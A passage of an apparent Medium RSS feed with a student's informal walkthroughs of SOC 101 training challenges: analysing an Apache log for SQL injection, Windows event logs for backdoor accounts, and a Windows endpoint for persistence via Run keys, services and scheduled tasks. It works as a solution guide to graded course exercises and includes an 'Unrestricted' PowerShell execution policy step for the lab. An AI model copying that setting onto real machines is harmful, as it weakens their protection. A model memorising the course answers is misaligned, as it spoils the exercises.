did.</p><p><em>cd /proc/5775 — honestly idk whether this is right or not, just using my previous note. BUT I think it’s right? hfsjdkghjksgs</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G3xbHI0fTZ_bm9KIAyyNUQ.png" /></figure><p><strong>Q8. Extract all printable string characters from the binary. Review the results for any indicators such as risky objects, descriptions, comments, banners, or usage information. Based on these findings, what utility or program can you identify?</strong></p><p><em>tbh not really sure what kind of program would be the ‘correct’ answer threw 3 random name before I actually found the one lewl. Related to networking utility.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*3hL-oLB2MyRV2pPJ1HwlFA.png" /></figure><p><strong>Q9. Examine the system-wide cron jobs configured on the local system. Identify any entries that may be malicious, indicating persistence mechanisms or continued compromise by the attacker. What is the full file path of the script that is executed?</strong></p><p>Conf on local system -&gt; so I use <em>cat /etc/crontab. </em>The 3 last lines wasnt there initially. So this should be it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AGd6XONuk_WBGIWhCUZmiw.png" /></figure><p><strong>Q10. Use a service like </strong><a href="https://crontab.guru/"><strong>crontab.guru</strong></a><strong> to interpret the cron schedule. What is the specific day when this cron entry runs?</strong></p><p>:D</p><p>Finish yay.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79a0092ab447" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Log Analysis Challenge 1]]></title>
            <link>https://medium.com/@zhrahmzah/log-analysis-challenge-1-3153f15cc349?source=rss-6e5cb54bbaf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/3153f15cc349</guid>
            <dc:creator><![CDATA[zhra hmzah]]></dc:creator>
            <pubDate>Thu, 19 Feb 2026 06:58:31 GMT</pubDate>
            <atom:updated>2026-02-19T09:40:59.052Z</atom:updated>
            <content:encoded><![CDATA[<h3>Instructions:</h3><p>During a recent system compromise investigation, the Security Operations Center at <em>Esquelle Eye Care</em> discovered a critical oversight — the SIEM forwarding agent had never been installed on their corporate website’s web server. This mistake left the web server’s log data unmonitored.</p><p>A System Administrator managed to extract the <strong>Apache</strong> access log file from the server and has sent it to you for analysis. Your task is to review the challenge.log file to determine the extent of the compromise, its origin, the attack vector, and the vulnerability that led to the incident.</p><p><strong>Q1. How many total events were logged in the file?</strong></p><p>using cat to check whether it’s a structured or unstructured log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uy7C7S0NHG5NZOYU2AwyIw.png" /><figcaption>cat challenge.log</figcaption></figure><p>since this is an unstructured log, the num of line will represent the num of events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KRel5ms1dMC-L6UyoI4vHw.png" /><figcaption>wc -l to see the num of lines</figcaption></figure><p><strong>Q2. What is the full timestamp of the last event in the file?</strong></p><p>tail — <em>shows 10 last lines of log files</em> ; -n 1 — <em>specify num of line from the bottom</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFPW0NP2hU6U2qFnYbX4-w.png" /><figcaption>tail -n 1</figcaption></figure><p><strong>Q3. What are the top 3 IP addresses found within the log file <em>(in descending order)</em>?</strong></p><p>Using the example from previous lesson: <em>cut -d “ ” -f 1 access.log | sort | uniq -c | sort -nr</em></p><p>p/s: when answering, please provide space before the ip addr. Took me awhile lmao</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z8MTqjlGSo92kc-w7ASmHA.png" /><figcaption>using cut utility</figcaption></figure><p><strong>Q4. What is the count of the IP address with the highest connections?</strong></p><p>You can get this from the previous question. Lol I’m to lazy to censored it.</p><p><strong>Q5. How many different user agent strings are found in the log file?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RLpy_f56OZSu7Bdr1EPtaA.png" /></figure><p><strong>Q6. Which user agent string sticks out as suspicious?</strong></p><p>can get this ans once you ran the previous question’s command.</p><p><strong>Q7. What is the line number of the log event that returned an HTTP status code of 404?</strong></p><p><em>… took me sometimes here cause I didn’t read properly.. read it as ‘number of line’ instead of ‘line number’ TT..TT</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QjCNQ6pKqQxPiqwX5cCQtA.png" /></figure><p><strong>Q8. What web-based attack can you identify based on the URL query parameters?</strong></p><p>I ran this. From the link you can guess what’s the web-based attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gnlFcaR8EKsPnesY_9U9xQ.png" /></figure><p><strong>Q9. What is the name of the vulnerable URL parameter?</strong></p><p>IDK THE ANSWER. I think it’s supposed to be q=test? but it just doesnt accept it :&lt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aIpAG87nGLhdcUIv3I1HWw.png" /></figure><p><em>update after 2 hours of leaving this: I got it.. lol. it’s just ‘q’ HAH</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJPh8KE0fGYCAfTQtSSlig.png" /></figure><p><strong>Q10. The attacker attempted a number of different SQL injection attacks. Based on other indicators in the event logs, what was the full timestamp of the potentially successful attempt?</strong></p><p><em>Choose the timestamp that has an anomaly in the response size.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2OrF2wDezI9EdyweybQmA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3153f15cc349" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Windows Events Challenge 1]]></title>
            <link>https://medium.com/@zhrahmzah/windows-events-challenge-1-3423815d4d25?source=rss-6e5cb54bbaf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/3423815d4d25</guid>
            <dc:creator><![CDATA[zhra hmzah]]></dc:creator>
            <pubDate>Tue, 27 Jan 2026 12:54:51 GMT</pubDate>
            <atom:updated>2026-06-11T03:02:02.078Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is the Windows Events Challenge by TCM Academy — course SOC 101 by Andrew Prince, he’s a very chill and cool instructor.</em></p><p>After noticing abnormal behavior on a Windows workstation, you have been provided with the challenge.evtx Security Event log file to analyze as part of an incident response investigation. Your task is to examine the log file and answer specific questions to understand the extent and nature of the security incident.</p><ol><li>What is the <strong>hostname</strong> of the computer that generated the logs in the challenge.evtx file? : <br><em>I use event viewer to open the file, you can double clicked on the .evtx file.</em></li><li>What is the <strong>Process ID (PID)</strong> of the execution process that cleared the security event log? <br><em>Can filter using the event ID: 1102 or since the logs were just 61, can scroll down. Find it in details.</em></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GW5js3Cn-DrfC9pATQPlIQ.png" /></figure><p>3. How many <strong>logon events</strong> are recorded in the logs?<br><em>Filter by Event ID: 4624 (successful logon)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPNKAAAI59g9kDRJEzPP5Q.png" /></figure><p>4. In <strong>chronological order</strong>, list the names of the accounts that were created within the logs.<br><em>Filter by event ID that describe new accounts created which is Event ID 4720. Find the name.. I found 3.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TJ9IljjV6vNz_Uq5o7iq_w.png" /></figure><p>5. Which user account was <strong>disabled</strong> according to the event logs?<br><em>Find Event ID for disabled which is: 4725, filter using this event ID.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23EmyGzWENJyPRzQOSBXqQ.png" /></figure><p>6. Which user account was <strong>deleted</strong> according to the event logs?<br><em>Find Event ID for deleted which is: 4726, filter using this event ID.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S5YLViKy0YZDUrbWj8795A.png" /></figure><p>7. In chronological order, list the <strong>security-enabled local groups</strong> that the <strong>backdoor</strong> user account was added to.<br><em>Find Event ID for deleted which is: 4732, filter using this event ID.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BJTWq1ZN0bFF51DD0is1yw.png" /><figcaption>but i couldnt see any name here</figcaption></figure><p><em>so i tried to correlate with the Logon ID of the user backdoor. which is 0x29667. Um but then… the 3 other users that were newly created had the same Logon ID also.. so.. I needed to find other ways.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cN2fiAk_MBBvEB-2OB1fMw.png" /></figure><p><em>the I look at the filter again, oh you can filter by user.. sooo I just filter the user backdoor there — um okay but then it’s invalid.. ? jsfdsjghsejge ok ok</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gI8e0nyya2Z-6YLlWSYVDw.png" /></figure><p><em>ok now im trying to filter based on the time that we found the security-enabled group — but still hm</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*gDCT9y-B6B4pZDlhdnaNmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QSq9hf5OtY8j8EjbZ3dsvg.png" /><figcaption>trying to use this hint</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_2eV4sjA5PI0IIfTyQ9WBA.png" /><figcaption>i guess this is the sid?</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KsAFrO0AXLTRRLpXXuJPQ.png" /><figcaption>comparing the memberSid, you’ll now get the answer :)</figcaption></figure><p>8. Which user account was added to the <strong>Backup Operators</strong> group?<br><em>Correlate the MemberSid with the one from EventID=4720</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gGf1tQHvf1Zpv66ZCh5t8w.png" /></figure><p>finish yayhu</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3423815d4d25" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Windows Endpoint Analysis Challenge 1]]></title>
            <link>https://medium.com/@zhrahmzah/windows-endpoint-analysis-challenge-1-studylog-f4ea9e5ee699?source=rss-6e5cb54bbaf8------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4ea9e5ee699</guid>
            <dc:creator><![CDATA[zhra hmzah]]></dc:creator>
            <pubDate>Tue, 13 Jan 2026 15:32:46 GMT</pubDate>
            <atom:updated>2026-06-11T02:37:38.206Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is a challenge for an endpoint analysis section from TCM Academy — SOC 101 course.</em></p><h3>Instructions:</h3><p>You’ve been assigned to remotely investigate a compromised Windows workstation as part of a live incident response scenario. The affected system has been imaged and all necessary forensic artifacts have been gathered. Your objective now is to investigate the scope of the compromise and identify any persistence mechanisms installed by the attacker.</p><p>Use your endpoint analysis skills to conduct the investigation and answer the questions below.</p><h3>Challenge File:</h3><ul><li>03_Endpoint_Security/Windows/Challenges/challenge.exe</li></ul><h4><strong>Q2. What port is the </strong><strong>challenge.exe malware listening on?</strong></h4><p>I tried using netstat to show the current active connections. But it doesn’t show the listening port and.. nothing related to ‘challenge.exe’ as far as my naked eyes can see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*_KEXXb49W477phZ_gTlG4g.png" /><figcaption>using netstat</figcaption></figure><p>So I use netstat -anob instead. Um here’s the AI version of what netstat -anob is.</p><blockquote>The netstat -anob command is a powerful diagnostic tool used in the Windows Command Prompt to display a comprehensive list of all active network connections and <em>listening ports</em>, along with the associated <em>process ID (PID) </em>and the actual executable name responsible for each connection.</blockquote><p>From here we can get 2 important things, listening port and the PID which will be taken note.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EmzX9lS1t6W0-aF_GB-GxA.png" /><figcaption>q2. use netstat -anob</figcaption></figure><h4><strong>Q3. What is the Process ID (PID) of the malware? <em>This answer cannot be verified, but it’s required for the next question(s).</em></strong></h4><p>You can get this information from the same command that you ran on q2 :)</p><h4><strong>Q4. List all of the loaded DLL modules for the listener’s associated process. What are the names of the two DLLs that start with the letter m?</strong></h4><p>I honestly dunno where to start so I just use the hint and it will asked you to see the tasklist manual:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*xA1bjiKT3qDdvlkqXkoSdQ.png" /><figcaption>/M will be used :)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B6jT8gR18bLTrAz_3hqhOg.png" /><figcaption>The asnwer!</figcaption></figure><h4>Q5. What is the <strong>name</strong> of the malware’s <strong>parent</strong> process?</h4><p>I’ve forgotten the syntax so… thank god for Google. I’ll be using the one highlighted — so we can filter using the PID. wmic is a command use on powershell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VvtjT0MpwlvIMuLopIFRyg.png" /></figure><p>umm.. okay not exactly what I wanted (¬_¬”)…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fP8By-3VeU7dqVOpil4iLg.png" /></figure><p>I reviewed back my notes and found this hehe.</p><pre>wmic process where processid=4996 get commandline <br>wmic process where processid=1884 get Name, ParentprocessId, ProcessId</pre><blockquote>My windows vm automatically shutdown because I haven’t extended the trial period…</blockquote><p>So I need to run the <em>challenge file</em> again and get a new <em>PID</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5gkp9nObDA2CSU6-EuGVA.png" /><figcaption>netstat -anob</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7_G9AbmOlfqAymXXNK7nQ.png" /><figcaption>got the parent pid, i thougt id like to try if i could get the name right away here kjdlks</figcaption></figure><p>Going to tasklist at cmd to find this parent pid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*dXggNwPpd-I2l3nD3HciJw.png" /><figcaption>Image Name = the answer</figcaption></figure><h4>Q6. List all the shared resources on the local system. What is the name of the share that the attacker created?</h4><p>I opened the hint, and guess net view, but it didn’t work. After a couple minutes of googling:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4TJ8GF-5EHjQ0X96IXMxig.png" /></figure><p>Tried net share but the output still confusing to me, until I saw that the last Resource is a bit funny.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPc7Q2iee2OaBClkonNH5Q.png" /><figcaption>share name = ans</figcaption></figure><h4>Q7. What path or resource does the attacker’s share point to?</h4><p>you can get this from the previous question.</p><h4><strong>Q8. The attacker created a Run entry to establish persistence on the system. What is the <em>full path</em> of the registry key?</strong></h4><p>—</p><p>Using AutoRuns via Powershell, I compare the state of the system before I ran ‘challenge.exe’ (NewBaseline.ps1) and after I ran it (AfterChallenge.ps1).</p><p>Here’s basically what I ran on Powershell.</p><pre>Set-ExecutionPolicy Unrestricted<br><br>Import-Module ..\AutoRuns.psm1<br><br>## creating the state, need to create 2, Baseline and CurrentState. <br>## before running the challenge.exe on cmd, capture Baseline first.<br>## BUT if you ran it first w/o capturing Baseline, can always<br>## revert by using &#39;challenge.exe -revert&#39; on cmd.<br><br>Get-PSAutorun -VerifyDigitalSignature |<br>&gt;&gt; Where { -not($_.isOSbinary)} |<br>&gt;&gt; New-AutoRunsBaseLine — Verbose -FilePath .\NewBaseline.ps1<br><br>## After running challenge.exe on cmd<br><br>Get-PSAutorun -VerifyDigitalSignature |<br>&gt;&gt; Where { -not($_.isOSbinary)} |<br>&gt;&gt; New-AutoRunsBaseLine - Verbose -FilePath .\AfterChallenge.ps1<br><br>## compare<br><br>Compare-AutoRunsBaseLine -ReferenceBaseLineFile .\NewBaseline.ps1 -DifferenceBaseineFile .\AfterChallenge.ps1 -Verbose<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lq2y6ie_7WUXNET2ZU-sUg.png" /><figcaption>Answer is the first one, Run key</figcaption></figure><h4>Q9. What is the name of the malicious entry the attacker created in the previously identified registry key?</h4><p>The answer is the value of item from previous answer.</p><h4><strong>Q10. What is the full file or image path that this registry entry points to?</strong></h4><p>The answer from Q8, ImagePath value from the first entry.</p><h4><strong>Q11. What is the name of the backdoor service installed by the attacker?</strong></h4><p>Still from the same screenshot answer from q8, find the service key entry, value of Item.</p><h4><strong>Q12. What is the START_TYPE configuration of the service?</strong></h4><p>I googled. Cause. I dunno.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sCT1ZauNjXmcrA-5J9Jcng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4gUNQMOBrH1Vt436zBCOaw.png" /><figcaption>Answer heree</figcaption></figure><h4>Q13. What is the full path to the service binary? <em>Note: If you created a user account with any name other than </em><em>tcm, make sure to replace your username in the output with </em><em>tcm to ensure a correct answer!</em></h4><p>You can get the answer from the config query of q12 :D</p><h4><strong>Q14. What is the name of the scheduled task created by the attacker?</strong></h4><p>Go back to q9, you’ll get the answer there! \Task</p><h4><strong>Q15. What is the full path to the executable that the scheduled task runs? <em>Note: If you created a user account with any name other than tcm, make sure to replace your username in the output with tcm to ensure a correct answer!</em></strong></h4><p>Go back to q9, you’ll get the answer there! \Task</p><h4><strong>Q16. At what time is the scheduled task set to run?</strong></h4><p>Go to Task Scheduler (Admin mode) &gt; Task Scheduler Library &gt; Triggers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jBh6jgjoQSq_5BylglN96g.png" /></figure><p>That’s all and don’t forget to:</p><blockquote>Q17. Excellent work! Clean up and restore the system by terminating the challenge.exe process (Press Ctrl + C). Then, run challenge.exe -revert. Afterwards, enter &quot;<strong>done</strong>&quot; to continue.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4ea9e5ee699" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>